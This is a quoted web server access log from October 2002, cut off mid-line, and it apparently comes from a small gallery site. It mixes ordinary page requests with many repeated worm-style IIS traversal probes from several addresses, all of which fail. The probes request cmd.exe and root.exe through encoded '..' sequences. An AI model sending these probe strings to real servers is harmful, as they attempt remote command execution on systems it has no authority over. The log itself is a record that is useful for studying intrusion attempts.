> 169.237.13.58 - - [24/Oct/2002:23:42:21 -0700] "GET
> /index_files/RC_UR_FFFF00_330033.gif HTTP/1.1" 200 142
> 169.237.13.58 - - [24/Oct/2002:23:42:22 -0700] "GET
> /index_files/959717669164.gif HTTP/1.1" 200 2939
> 169.237.13.58 - - [24/Oct/2002:23:42:22 -0700] "GET
> /index_files/959986823794.gif HTTP/1.1" 200 14530
> 169.237.13.58 - - [24/Oct/2002:23:42:24 -0700] "GET
> /index_files/956435589157.jpe HTTP/1.1" 200 12709
> 169.237.13.58 - - [24/Oct/2002:23:42:26 -0700] "GET
> /index_files/956435636746.jpe HTTP/1.1" 200 12673
> 169.237.13.58 - - [24/Oct/2002:23:42:29 -0700] "GET /relations.html
> HTTP/1.1" 200 14247
> 169.237.13.58 - - [24/Oct/2002:23:42:30 -0700] "GET
> /relations_files/RC_UL_663366_330033.gif HTTP/1.1" 200 115
> 169.237.13.58 - - [24/Oct/2002:23:42:30 -0700] "GET /relations_files/x.gif
> HTTP/1.1" 200 49
> 169.237.13.58 - - [24/Oct/2002:23:42:31 -0700] "GET
> /relations_files/RC_UR_663366_FFFF00.gif HTTP/1.1" 200 143
> 169.237.13.58 - - [24/Oct/2002:23:42:31 -0700] "GET
> /relations_files/RC_UR_FFFF00_330033.gif HTTP/1.1" 200 142
> 169.237.13.58 - - [24/Oct/2002:23:42:31 -0700] "GET
> /relations_files/959717669164.gif HTTP/1.1" 200 2939
> 169.237.13.58 - - [24/Oct/2002:23:42:31 -0700] "GET
> /relations_files/956441919503.jpe HTTP/1.1" 200 10182
> 169.237.13.58 - - [24/Oct/2002:23:42:33 -0700] "GET
> /relations_files/962644088194.gif HTTP/1.1" 200 1767
> 169.237.13.58 - - [24/Oct/2002:23:42:34 -0700] "GET /map.html HTTP/1.1" 200
> 13262
> 169.237.13.58 - - [24/Oct/2002:23:42:36 -0700] "GET
> /map_files/RC_UL_663366_330033.gif HTTP/1.1" 200 115
> 169.237.13.58 - - [24/Oct/2002:23:42:36 -0700] "GET /map_files/x.gif
> HTTP/1.1" 200 49
> 169.237.13.58 - - [24/Oct/2002:23:42:36 -0700] "GET
> /map_files/RC_UR_663366_FFFF00.gif HTTP/1.1" 200 143
> 169.237.13.58 - - [24/Oct/2002:23:42:36 -0700] "GET
> /map_files/RC_UR_FFFF00_330033.gif HTTP/1.1" 200 142
> 169.237.13.58 - - [24/Oct/2002:23:42:36 -0700] "GET
> /map_files/959717669164.gif HTTP/1.1" 200 2939
> 169.237.13.58 - - [24/Oct/2002:23:42:36 -0700] "GET
> /map_files/mqmapgen_v4.gif HTTP/1.1" 200 22758
> 169.237.13.58 - - [24/Oct/2002:23:42:39 -0700] "GET /g4.html HTTP/1.1" 200
> 12354
> 169.237.13.58 - - [24/Oct/2002:23:42:40 -0700] "GET
> /g4_files/RC_UL_663366_330033.gif HTTP/1.1" 200 115
> 169.237.13.58 - - [24/Oct/2002:23:42:40 -0700] "GET /g4_files/x.gif
> HTTP/1.1" 200 49
> 169.237.13.58 - - [24/Oct/2002:23:42:41 -0700] "GET
> /g4_files/RC_UR_663366_FFFF00.gif HTTP/1.1" 200 143
> 169.237.13.58 - - [24/Oct/2002:23:42:41 -0700] "GET
> /g4_files/RC_UR_FFFF00_330033.gif HTTP/1.1" 200 142
> 169.237.13.58 - - [24/Oct/2002:23:42:41 -0700] "GET
> /g4_files/959717669164.gif HTTP/1.1" 200 2939
> 169.237.13.58 - - [24/Oct/2002:23:42:41 -0700] "GET
> /g4_files/959708768993.jpe HTTP/1.1" 200 2904
> 169.237.13.58 - - [24/Oct/2002:23:42:42 -0700] "GET
> /g4_files/959708739049.jpe HTTP/1.1" 200 3224
> 169.237.13.58 - - [24/Oct/2002:23:42:42 -0700] "GET
> /g4_files/959708702869.jpe HTTP/1.1" 200 3769
> 169.237.13.58 - - [24/Oct/2002:23:42:43 -0700] "GET
> /g4_files/959708798781.jpe HTTP/1.1" 200 3887
> 169.237.13.58 - - [24/Oct/2002:23:42:44 -0700] "GET
> /g4_files/959708871051.jpe HTTP/1.1" 200 3358
> 169.237.13.58 - - [24/Oct/2002:23:42:45 -0700] "GET
> /g4_files/959708834513.jpe HTTP/1.1" 200 3225
> 169.237.13.58 - - [24/Oct/2002:23:42:46 -0700] "GET
> /g4_files/RC_LL_663366_330033.gif HTTP/1.1" 200 113
> 169.237.13.58 - - [24/Oct/2002:23:42:46 -0700] "GET
> /g4_files/RC_LR_330033_330033.gif HTTP/1.1" 200 78
> 148.245.53.115 - - [25/Oct/2002:00:04:26 -0700] "GET
> /scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir" 404 324
> 66.77.73.154 - - [25/Oct/2002:03:04:52 -0700] "GET /privacy.html HTTP/1.0"
> 200 11792
> 66.77.73.154 - - [25/Oct/2002:03:05:26 -0700] "GET /g3.html HTTP/1.0" 200
> 12761
> 66.77.73.154 - - [25/Oct/2002:03:05:51 -0700] "GET /g1.html HTTP/1.0" 200
> 12127
> 66.77.73.154 - - [25/Oct/2002:03:06:19 -0700] "GET /message.html HTTP/1.0"
> 200 15999
> 66.77.73.154 - - [25/Oct/2002:03:06:52 -0700] "GET /relations.html HTTP/1.0"
> 200 14247
> 66.77.73.154 - - [25/Oct/2002:03:07:18 -0700] "GET /map.html HTTP/1.0" 200
> 13262
> 66.77.73.154 - - [25/Oct/2002:03:07:48 -0700] "GET /policy.html HTTP/1.0"
> 200 14996
> 66.77.73.154 - - [25/Oct/2002:03:08:19 -0700] "GET /info.html HTTP/1.0" 200
> 14732
> 66.77.73.154 - - [25/Oct/2002:03:08:49 -0700] "GET /newstore.html HTTP/1.0"
> 200 11537
> 66.77.73.154 - - [25/Oct/2002:03:09:19 -0700] "GET /paintings1.html
> HTTP/1.0" 200 12392
> 66.77.73.154 - - [25/Oct/2002:03:09:49 -0700] "GET /pricing.html HTTP/1.0"
> 200 13716
> 61.140.190.179 - - [25/Oct/2002:03:13:07 -0700] "GET
> /scripts/root.exe?/c+dir HTTP/1.0" 404 276
> 61.140.190.179 - - [25/Oct/2002:03:13:08 -0700] "GET /MSADC/root.exe?/c+dir
> HTTP/1.0" 404 274
> 61.140.190.179 - - [25/Oct/2002:03:13:09 -0700] "GET
> /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
> 61.140.190.179 - - [25/Oct/2002:03:13:10 -0700] "GET
> /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
> 61.140.190.179 - - [25/Oct/2002:03:13:11 -0700] "GET
> /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 61.140.190.179 - - [25/Oct/2002:03:13:12 -0700] "GET
> /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 315
> 61.140.190.179 - - [25/Oct/2002:03:13:13 -0700] "GET
> /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 315
> 61.140.190.179 - - [25/Oct/2002:03:13:14 -0700] "GET
> /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
> stem32/cmd.exe?/c+dir HTTP/1.0" 404 331
> 61.140.190.179 - - [25/Oct/2002:03:13:15 -0700] "GET
> /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 61.140.190.179 - - [25/Oct/2002:03:13:16 -0700] "GET
> /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 61.140.190.179 - - [25/Oct/2002:03:13:17 -0700] "GET
> /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 61.140.190.179 - - [25/Oct/2002:03:13:17 -0700] "GET
> /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 61.140.190.179 - - [25/Oct/2002:03:13:18 -0700] "GET
> /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
> 61.140.190.179 - - [25/Oct/2002:03:13:19 -0700] "GET
> /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
> 61.140.190.179 - - [25/Oct/2002:03:13:20 -0700] "GET
> /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 61.140.190.179 - - [25/Oct/2002:03:13:21 -0700] "GET
> /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 218.58.36.242 - - [25/Oct/2002:05:55:55 -0700] "GET /scripts/root.exe?/c+dir
> HTTP/1.0" 404 276
> 218.58.36.242 - - [25/Oct/2002:05:55:56 -0700] "GET /MSADC/root.exe?/c+dir
> HTTP/1.0" 404 274
> 218.58.36.242 - - [25/Oct/2002:05:55:56 -0700] "GET
> /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
> 218.58.36.242 - - [25/Oct/2002:05:55:57 -0700] "GET
> /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
> 218.58.36.242 - - [25/Oct/2002:05:55:58 -0700] "GET
> /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 218.58.36.242 - - [25/Oct/2002:05:55:59 -0700] "GET
> /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 315
> 218.58.36.242 - - [25/Oct/2002:05:56:00 -0700] "GET
> /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 315
> 218.58.36.242 - - [25/Oct/2002:05:56:01 -0700] "GET
> /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
> stem32/cmd.exe?/c+dir HTTP/1.0" 404 331
> 218.58.36.242 - - [25/Oct/2002:05:56:02 -0700] "GET
> /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 218.58.36.242 - - [25/Oct/2002:05:56:02 -0700] "GET
> /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 218.58.36.242 - - [25/Oct/2002:05:56:03 -0700] "GET
> /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 218.58.36.242 - - [25/Oct/2002:05:56:04 -0700] "GET
> /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 218.58.36.242 - - [25/Oct/2002:05:56:05 -0700] "GET
> /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
> 218.58.36.242 - - [25/Oct/2002:05:56:06 -0700] "GET
> /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
> 218.58.36.242 - - [25/Oct/2002:05:56:07 -0700] "GET
> /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 218.58.36.242 - - [25/Oct/2002:05:56:07 -0700] "GET
> /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 61.206.178.18 - - [25/Oct/2002:06:49:56 -0700] "GET / HTTP/1.1" 400 311
> 169.237.142.116 - - [25/Oct/2002:10:17:08 -0700] "GET
> /scripts/root.exe?/c+dir HTTP/1.0" 404 276
> 169.237.142.116 - - [25/Oct/2002:10:17:08 -0700] "GET /MSADC/root.exe?/c+dir
> HTTP/1.0" 404 274
> 169.237.142.116 - - [25/Oct/2002:10:17:08 -0700] "GET
> /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
> 169.237.142.116 - - [25/Oct/2002:10:17:08 -0700] "GET
> /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
> 169.237.142.116 - - [25/Oct/2002:10:17:08 -0700] "GET
> /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 169.237.142.116 - - [25/Oct/2002:10:17:08 -0700] "GET
> /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 315
> 169.237.142.116 - - [25/Oct/2002:10:17:09 -0700] "GET
> /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 315
> 169.237.142.116 - - [25/Oct/2002:10:17:09 -0700] "GET
> /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
> stem32/cmd.exe?/c+dir HTTP/1.0" 404 331
> 169.237.142.116 - - [25/Oct/2002:10:17:09 -0700] "GET
> /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 169.237.142.116 - - [25/Oct/2002:10:17:09 -0700] "GET
> /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 169.237.142.116 - - [25/Oct/2002:10:17:09 -0700] "GET
> /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 169.237.142.116 - - [25/Oct/2002:10:17:09 -0700] "GET
> /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 169.237.142.116 - - [25/Oct/2002:10:17:09 -0700] "GET
> /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
> 169.237.142.116 - - [25/Oct/2002:10:17:09 -0700] "GET
> /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
> 169.237.142.116 - - [25/Oct/2002:10:17:11 -0700] "GET
> /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 169.237.142.116 - - [25/Oct/2002:10:17:11 -0700] "GET
> /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 66.77.73.154 - - [25/Oct/2002:11:12:26 -0700] "GET
> /g1_files/959729407575.jpe HTTP/1.0" 200 3760
> 66.77.73.154 - - [25/Oct/2002:11:12:56 -0700] "GET
> /g1_files/959729323698.jpe HTTP/1.0" 200 3193
> 66.77.73.154 - - [25/Oct/2002:11:13:26 -0700] "GET
> /g3_files/959704198659.jpe HTTP/1.0" 200 2811
> 66.77.73.154 - - [25/Oct/2002:11:13:56 -0700] "GET /Gallery1/22.html
> HTTP/1.0" 200 3808
> 66.77.73.154 - - [25/Oct/2002:11:14:48 -0700] "GET /Gallery1/26.html
> HTTP/1.0" 200 3881
> 66.77.73.154 - - [25/Oct/2002:11:14:56 -0700] "GET
> /g3_files/959704288539.jpe HTTP/1.0" 200 2634
> 66.77.73.154 - - [25/Oct/2002:11:15:27 -0700] "GET /Gallery1/23.html
> HTTP/1.0" 200 3885
> 66.77.73.154 - - [25/Oct/2002:11:16:24 -0700] "GET
> /g1_files/959729108896.jpe HTTP/1.0" 200 2847
> 66.77.73.154 - - [25/Oct/2002:11:16:26 -0700] "GET
> /g1_files/959729220405.jpe HTTP/1.0" 200 2783
> 66.77.73.154 - - [25/Oct/2002:11:16:56 -0700] "GET
> /g3_files/959704344578.jpe HTTP/1.0" 200 3376
> 66.77.73.154 - - [25/Oct/2002:11:17:26 -0700] "GET /Gallery1/21.html
> HTTP/1.0" 200 3881
> 66.77.73.154 - - [25/Oct/2002:11:17:56 -0700] "GET
> /relations_files/956441919503.jpe HTTP/1.0" 200 10182
> 66.77.73.154 - - [25/Oct/2002:11:18:26 -0700] "GET /paintings2.html
> HTTP/1.0" 200 12588
> 66.77.73.154 - - [25/Oct/2002:11:18:56 -0700] "GET
> /g1_files/959729164082.jpe HTTP/1.0" 200 3485
> 66.77.73.154 - - [25/Oct/2002:11:19:27 -0700] "GET
> /paintings1_files/956635432255.jpe HTTP/1.0" 200 4709
> 66.77.73.154 - - [25/Oct/2002:11:19:57 -0700] "GET
> /g1_files/959729282232.jpe HTTP/1.0" 200 2898
> 66.77.73.154 - - [25/Oct/2002:11:20:27 -0700] "GET
> /g1_files/959729250342.jpe HTTP/1.0" 200 3153
> 66.77.73.154 - - [25/Oct/2002:11:20:57 -0700] "GET /Gallery1/25.html
> HTTP/1.0" 200 3887
> 66.77.73.154 - - [25/Oct/2002:11:21:27 -0700] "GET
> /g3_files/959704145827.jpe HTTP/1.0" 200 2676
> 66.77.73.154 - - [25/Oct/2002:11:21:57 -0700] "GET
> /g3_files/959704112816.jpe HTTP/1.0" 200 3267
> 66.77.73.154 - - [25/Oct/2002:11:22:27 -0700] "GET
> /g3_files/959704224308.jpe HTTP/1.0" 200 2946
> 66.77.73.154 - - [25/Oct/2002:11:22:57 -0700] "GET
> /paintings1_files/956626592836.jpe HTTP/1.0" 200 3555
> 66.77.73.154 - - [25/Oct/2002:11:23:27 -0700] "GET /Gallery1/27.html
> HTTP/1.0" 200 3842
> 66.77.73.154 - - [25/Oct/2002:11:23:57 -0700] "GET
> /g3_files/959704257968.jpe HTTP/1.0" 200 3560
> 66.77.73.154 - - [25/Oct/2002:11:24:27 -0700] "GET /Gallery1/24.html
> HTTP/1.0" 200 3872
> 66.77.73.154 - - [25/Oct/2002:11:24:57 -0700] "GET
> /g3_files/959704172769.jpe HTTP/1.0" 200 2634
> 66.77.73.154 - - [25/Oct/2002:11:25:27 -0700] "GET /Gallery1/28.html
> HTTP/1.0" 200 3836
> 66.77.73.154 - - [25/Oct/2002:11:25:57 -0700] "GET
> /g1_files/959729438905.jpe HTTP/1.0" 200 3284
> 66.156.87.250 - - [25/Oct/2002:11:42:18 -0700] "GET /scripts/root.exe?/c+dir
> HTTP/1.0" 404 276
> 66.156.87.250 - - [25/Oct/2002:11:42:18 -0700] "GET /MSADC/root.exe?/c+dir
> HTTP/1.0" 404 274
> 66.156.87.250 - - [25/Oct/2002:11:42:18 -0700] "GET
> /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
> 66.156.87.250 - - [25/Oct/2002:11:42:19 -0700] "GET
> /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
> 66.156.87.250 - - [25/Oct/2002:11:42:19 -0700] "GET
> /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 66.156.87.250 - - [25/Oct/2002:11:42:19 -0700] "GET
> /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 315
> 66.156.87.250 - - [25/Oct/2002:11:42:19 -0700] "GET
> /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 315
> 66.156.87.250 - - [25/Oct/2002:11:42:20 -0700] "GET
> /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
> stem32/cmd.exe?/c+dir HTTP/1.0" 404 331
> 66.156.87.250 - - [25/Oct/2002:11:42:20 -0700] "GET
> /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 66.156.87.250 - - [25/Oct/2002:11:42:20 -0700] "GET
> /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 66.156.87.250 - - [25/Oct/2002:11:42:20 -0700] "GET
> /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 66.156.87.250 - - [25/Oct/2002:11:42:21 -0700] "GET
> /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 66.156.87.250 - - [25/Oct/2002:11:42:21 -0700] "GET
> /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
> 66.156.87.250 - - [25/Oct/2002:11:42:21 -0700] "GET
> /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
> 66.156.87.250 - - [25/Oct/2002:11:42:21 -0700] "GET
> /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 66.156.87.250 - - [25/Oct/2002:11:42:21 -0700] "GET
> /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 24.95.79.15 - - [25/Oct/2002:12:54:18 -0700] "GET /scripts/root.exe?/c+dir
> HTTP/1.0" 404 276
> 24.95.79.15 - - [25/Oct/2002:12:54:18 -0700] "GET /MSADC/root.exe?/c+dir
> HTTP/1.0" 404 274
> 24.95.79.15 - - [25/Oct/2002:12:54:19 -0700] "GET
> /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
> 24.95.79.15 - - [25/Oct/2002:12:54:19 -0700] "GET
> /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
> 24.95.79.15 - - [25/Oct/2002:12:54:20 -0700] "GET
> /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 24.95.79.15 - - [25/Oct/2002:12:54:20 -0700] "GET
> /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 315
> 24.95.79.15 - - [25/Oct/2002:12:54:20 -0700] "GET
> /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 315
> 24.95.79.15 - - [25/Oct/2002:12:54:21 -0700] "GET
> /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
> stem32/cmd.exe?/c+dir HTTP/1.0" 404 331
> 24.95.79.15 - - [25/Oct/2002:12:54:21 -0700] "GET
> /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 24.95.79.15 - - [25/Oct/2002:12:54:22 -0700] "GET
> /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 24.95.79.15 - - [25/Oct/2002:12:54:22 -0700] "GET
> /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 24.95.79.15 - - [25/Oct/2002:12:54:22 -0700] "GET
> /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 24.95.79.15 - - [25/Oct/2002:12:54:23 -0700] "GET
> /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
> 24.95.79.15 - - [25/Oct/2002:12:54:23 -0700] "GET
> /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
> 24.95.79.15 - - [25/Oct/2002:12:54:23 -0700] "GET
> /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 24.95.79.15 - - [25/Oct/2002:12:54:24 -0700] "GET
> /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 169.237.142.116 - - [25/Oct/2002:13:32:07 -0700] "GET
> /scripts/root.exe?/c+dir HTTP/1.0" 404 276
> 169.237.142.116 - - [25/Oct/2002:13:32:08 -0700] "GET /MSADC/root.exe?/c+dir
> HTTP/1.0" 404 274
> 169.237.142.116 - - [25/Oct/2002:13:32:08 -0700] "GET
> /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
> 169.237.142.116 - - [25/Oct/2002:13:32:10 -0700] "GET
> /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
> 169.237.142.116 - - [25/Oct/2002:13:32:12 -0700] "GET
> /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 169.237.142.116 - - [25/Oct/2002:13:32:12 -0700] "GET
> /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 315
> 169.237.142.116 - - [25/Oct/2002:13:32:13 -0700] "GET
> /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 315
> 169.237.142.116 - - [25/Oct/2002:13:32:14 -0700] "GET
> /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
> stem32/cmd.exe?/c+dir HTTP/1.0" 404 331
> 169.237.142.116 - - [25/Oct/2002:13:32:14 -0700] "GET
> /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 169.237.142.116 - - [25/Oct/2002:13:32:15 -0700] "GET
> /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 169.237.142.116 - - [25/Oct/2002:13:32:19 -0700] "GET
> /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 169.237.142.116 - - [25/Oct/2002:13:32:20 -0700] "GET
> /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 169.237.142.116 - - [25/Oct/2002:13:32:21 -0700] "GET
> /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
> 169.237.142.116 - - [25/Oct/2002:13:32:22 -0700] "GET
> /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
> 169.237.142.116 - - [25/Oct/2002:13:32:23 -0700] "GET
> /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 169.237.142.116 - - [25/Oct/2002:13:32:24 -0700] "GET
> /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 169.237.142.116 - - [25/Oct/2002:14:11:26 -0700] "GET
> /scripts/root.exe?/c+dir HTTP/1.0" 404 276
> 169.237.142.116 - - [25/Oct/2002:14:11:26 -0700] "GET /MSADC/root.exe?/c+dir
> HTTP/1.0" 404 274
> 169.237.142.116 - - [25/Oct/2002:14:11:26 -0700] "GET
> /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
> 169.237.142.116 - - [25/Oct/2002:14:11:26 -0700] "GET
> /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
> 169.237.142.116 - - [25/Oct/2002:14:11:27 -0700] "GET
> /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 169.237.142.116 - - [25/Oct/2002:14:11:27 -0700] "GET
> /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 315
> 169.237.142.116 - - [25/Oct/2002:14:11:28 -0700] "GET
> /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 315
> 169.237.142.116 - - [25/Oct/2002:14:11:28 -0700] "GET
> /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
> stem32/cmd.exe?/c+dir HTTP/1.0" 404 331
> 169.237.142.116 - - [25/Oct/2002:14:11:29 -0700] "GET
> /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 169.237.142.116 - - [25/Oct/2002:14:11:29 -0700] "GET
> /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 169.237.142.116 - - [25/Oct/2002:14:11:30 -0700] "GET
> /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 169.237.142.116 - - [25/Oct/2002:14:11:30 -0700] "GET
> /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 169.237.142.116 - - [25/Oct/2002:14:11:31 -0700] "GET
> /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
> 169.237.142.116 - - [25/Oct/2002:14:11:31 -0700] "GET
> /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
> 169.237.142.116 - - [25/Oct/2002:14:11:31 -0700] "GET
> /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 169.237.142.116 - - [25/Oct/2002:14:11:31 -0700] "GET
> /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 218.66.199.106 - - [26/Oct/2002:01:56:29 -0700] "GET
> /scripts/root.exe?/c+dir HTTP/1.0" 404 276
> 218.66.199.106 - - [26/Oct/2002:01:56:30 -0700] "GET /MSADC/root.exe?/c+dir
> HTTP/1.0" 404 274
> 218.66.199.106 - - [26/Oct/2002:01:56:32 -0700] "GET
> /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
> 218.66.199.106 - - [26/Oct/2002:01:56:33 -0700] "GET
> /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
> 218.66.199.106 - - [26/Oct/2002:01:56:34 -0700] "GET
> /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 218.66.199.106 - - [26/Oct/2002:01:56:35 -0700] "GET
> /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 315
> 218.66.199.106 - - [26/Oct/2002:01:56:36 -0700] "GET
> /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 315
> 218.66.199.106 - - [26/Oct/2002:01:56:38 -0700] "GET
> /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
> stem32/cmd.exe?/c+dir HTTP/1.0" 404 331
> 218.66.199.106 - - [26/Oct/2002:01:56:39 -0700] "GET
> /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 218.66.199.106 - - [26/Oct/2002:01:56:40 -0700] "GET
> /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 218.66.199.106 - - [26/Oct/2002:01:56:41 -0700] "GET
